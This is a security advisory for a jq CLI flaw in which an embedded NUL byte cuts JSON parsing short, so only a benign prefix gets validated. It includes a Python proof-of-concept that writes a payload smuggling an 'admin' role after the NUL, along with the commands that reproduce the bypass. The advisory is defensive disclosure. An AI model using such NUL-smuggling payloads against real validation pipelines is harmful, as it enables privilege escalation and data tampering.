Embedded-NUL Truncation in jq CLI JSON Input Path Causes Prefix-Only Validation of Malformed Input

Low **itchyny** published **GHSA-32cx-cvvh-2wj9** yesterday

Package

No package listed

Affected versions

<latest

Patched versions

None

Description

Summary

The normal jq CLI JSON input path uses fgets() and then derives the valid byte length with strlen() when parsing JSON input without a newline. If the input contains an embedded NUL byte, jq truncates the already-read buffer at the NUL and passes only the benign prefix to the JSON parser. As a result, jq may accept malformed input by validating only the prefix before the NUL.

Details

The reachable CLI path is:

CLI file/stdin input -> jq_util_input_add_input() / stdin default -> jq_util_input_set_parser(..., jv_parser_new(...)) -> jq_util_input_next_input() -> jq_util_input_read_more() -> strlen(state->buf) -> jv_parser_set_buf(state->parser, state->buf, state->buf_valid_len, !is_last)

Relevant code:

- src/main.c (line 361)
- src/main.c (line 653)
- src/main.c (line 664)
- src/main.c (line 671)
- src/util.c (line 315)

- src/util.c (line 320)
- src/util.c (line 432)

The flaw is that the code does not use the actual number of bytes read by fgets(). Instead it uses strlen(state->buf), which stops at the first embedded NUL. Trailing bytes after the NUL may already have been consumed from the input stream, but they are silently excluded from parsing.

This is realistically reachable because it affects the stock jq CLI file and stdin parsing path used by end users.

PoC

PoC generator:

poc_issue2_cli_nul_truncation.py

```
#!/usr/bin/env python3
from pathlib import Path


payload = b'{"role":"user"}\x00{"role":"admin"}'
Path("issue2_payload.bin").write_bytes(payload)
```

The generated payload is:

```
{"role":"user"}\x00{"role":"admin"}
```

Commands:

```
cd /home/test/neom/result/jq_b6a9e260cd1c76d795a1a85f2ccfd38f783dc79a
python3 poc_issue2_cli_nul_truncation.py
```

```
cd /home/test/neom/target_repo/jq
ASAN_OPTIONS=detect_leaks=0
LD_LIBRARY_PATH=$PWD/.libs:$PWD/vendor/oniguruma/src/.libs \
./jq -c .
/home/test/neom/result/jq_b6a9e260cd1c76d795a1a85f2ccfd38f783dc79a/issue2_payload.bin
```

Observed output:

```
{"role":"user"}
```

The same payload via stdin behaves the same:

```
ASAN_OPTIONS=detect_leaks=0
LD_LIBRARY_PATH=$PWD/.libs:$PWD/vendor/oniguruma/src/.libs \
./jq -c . <
/home/test/neom/result/jq_b6a9e260cd1c76d795a1a85f2ccfd38f783dc79a/issue2_payload.bin
```

For comparison, a path that processes the full bytes rejects the file:

```
ASAN_OPTIONS=detect_leaks=0
LD_LIBRARY_PATH=$PWD/.libs:$PWD/vendor/oniguruma/src/.libs \
./jq -n --slurpfile x
/home/test/neom/result/jq_b6a9e260cd1c76d795a1a85f2ccfd38f783dc79a/issue2_payload.bin
'$x'
```

Observed error:

```
jq: Bad JSON in --slurpfile ...: Invalid numeric literal at line 1, column 17
```

Impact

This issue can cause validation bypass in workflows that rely on jq to validate untrusted JSON before forwarding, storing, or otherwise acting on the original bytes. An attacker can place a benign JSON prefix before an embedded NUL and append malicious trailing data after it. jq may accept the prefix as valid JSON while silently ignoring the suffix, creating a parser differential between jq and downstream components that process the full input.

Severity

Low

CVE ID

CVE-2026-33948

Weaknesses

No CWEs

Credits

 **HO-9** Reporter